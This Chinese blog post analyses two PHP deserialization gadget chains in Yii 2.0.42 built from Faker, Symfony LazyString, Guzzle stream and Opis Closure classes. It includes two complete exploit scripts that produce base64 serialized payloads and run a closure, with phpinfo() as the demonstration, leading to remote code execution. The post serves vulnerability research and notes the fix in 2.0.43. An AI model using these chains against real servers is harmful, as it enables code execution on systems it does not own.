Yii2.0.42反序列化分析(二)

接着上一篇文章继续分析,四条链子中第二条是最为复杂也是最有意思的,一切是那么的恰到好处哈哈哈

环境搭建请看前篇,直接切入正题,由于最近比较忙,部分地方就不那么详细分析变量构造由来了,跟着exp分析一下就可以了

pop3


起手的地方还是一样的,毕竟就只剩下这么个起手点了,下面要更换的是__call()魔术方法所在的类,把目光转向这里,其实和第一条大差不差,为了有一点区别还是换了一个
vendor\fakerphp\faker\src\Faker\UniqueGenerator.php

这里的$res利用第一条链子中用到的类是能够让返回值可控的,也就是说此处的$res为可控变量;第三条链的关键点在于利用__sleep()魔术方法,在序列化一个对象时,如果类中存在该方法会优先调用该魔术方法;全局搜索
vendor\symfony\string\LazyString.php

之后会调用本类中的__toString()魔术方法,跟进

可以看到利用点在($this->value)(),这种形式一看就是动态调用无参函数;这里要注意点的是第一个if条件语句,我们传入的参数值肯定会是一个字符串才能够动态调用,这里只有让if判断条件不成立程序逻辑才会到达最后的利用点处
这里还是要用到\Opis\Clsure方法序列化匿名函数,这里可以写一个例子

可以看到是能够直接绕过is_string()函数判断的
至于为什么会是这样师傅们可以自己研究一下子
解决了这一步那就可以rce了
exp

<?php
/***
 * Created by joker
 * Date 2021/9/17 16:20
 ***/
namespace Codeception\Extension;
use Faker\UniqueGenerator;
class RunProcess{
    private $processes;
    public function __construct()
    {
        $this->processes = [new UniqueGenerator()];
    }
}

namespace Faker;
use Symfony\Component\String\LazyString;
use Faker\DefaultGenerator;
class UniqueGenerator{
    protected $generator;
    protected $maxRetries;
    public function __construct()
    {
        $a = new LazyString();
        $this->generator = new DefaultGenerator($a);
        $this->maxRetries = 2;

    }
}
namespace Faker;
class DefaultGenerator{
    protected $default;
    public function __construct($default = null)
    {
        $this->default = $default;
    }
}

namespace Symfony\Component\String;
use Codeception\Extension\RunProcess;

class LazyString{
    private $value;
    public function __construct()
    {
        include("../test/closure/autoload.php");
        $a = function(){phpinfo();};
        $a = \Opis\Closure\serialize($a);
        $b = unserialize($a);
        $this->value = $b;
    }
}
$a = new RunProcess();
echo base64_encode(serialize($a));

pop4

入口依然不变,只不过这次换个跳板函数,转向__toString()魔术方法,php基本就是这两种做跳板

这里进行了字符串的拼接,只需要让$process为类对象就可以触发类中的__toString()方法,这里这个getCommandLine()方法没有,所以还是需要用到第一条链中的__call()方法来让返回值可控,全局搜索
vendor\guzzlehttp\psr7\src\AppendStream.php

跟进rewind()方法


$this->seekable默认值为true,$whence默认值为SEEK_SET,所以程序会顺利向下,$this->streams变量可控,程序会走到断点处,这里调用了其它类中的rewind()方法,追踪发现是一个接口类,找到继承了该接口类的子类
basic\vendor\guzzlehttp\psr7\src\CachingStream.php


这里要让while条件成立才会往下,查看类中eof()方法

只需要让$this->remoteStream的值为false,返回值就会为false,在while中的部分会回取反为true,$diff的取值看exp就知道来源了
跟进read()方法

$this->stream可控,到这里read()方法还是会指向接口类,所以需要找到新的继承类保证利用链能够走下去,这也就是为什么要让$this->streamPumpStream类对象
vendor\guzzlehttp\psr7\src\PumpStream.php

跟进pump方法

熟悉的地方,$this->source可控,只需要让传递过来的$length可控就可以了
部分参数的取值可以跟着exp分析一下,就不多说了

<?php
/***
 * Created by joker
 * Date 2021/9/19 18:01
 ***/
namespace Codeception\Extension;
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class  RunProcess{
    protected $output;
    private $processes = [];
    public function __construct(){
        $this->processes[]=new DefaultGenerator(new AppendStream());
        $this->output=new DefaultGenerator('joker');
    }
}
namespace Faker;
class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
    }
}

namespace GuzzleHttp\Psr7;
use Codeception\Extension\RunProcess;
use Faker\DefaultGenerator;
final class AppendStream{
    private $streams = [];
    private $seekable = true;
    public function __construct(){
        $this->streams[]=new CachingStream();
    }
}
final class CachingStream{
    private $remoteStream;
    public function __construct(){
        $this->remoteStream=new DefaultGenerator(false);
        $this->stream=new  PumpStream();
    }
}
final class PumpStream{
    private $source;
    private $size=-10;
    private $buffer;
    public function __construct(){
        $this->buffer=new DefaultGenerator('j');
        include("../test/closure/autoload.php");
        $a = function(){phpinfo();};
        $a = \Opis\Closure\serialize($a);
        $b = unserialize($a);
        $this->source=$b;
    }
}
$a = new RunProcess();
echo base64_encode(serialize($a));

总结

yii2.0.42的反序列化就到这里了,还是靠耐心吧,加上对魔术方法的利用,这几条链都离不开那个可控返回值的类,修复的话2.0.43已经做的差不多了。

  • 发表于 2021-10-08 16:48:18
  • 阅读 ( 7141 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
joker
joker

19 篇文章

站长统计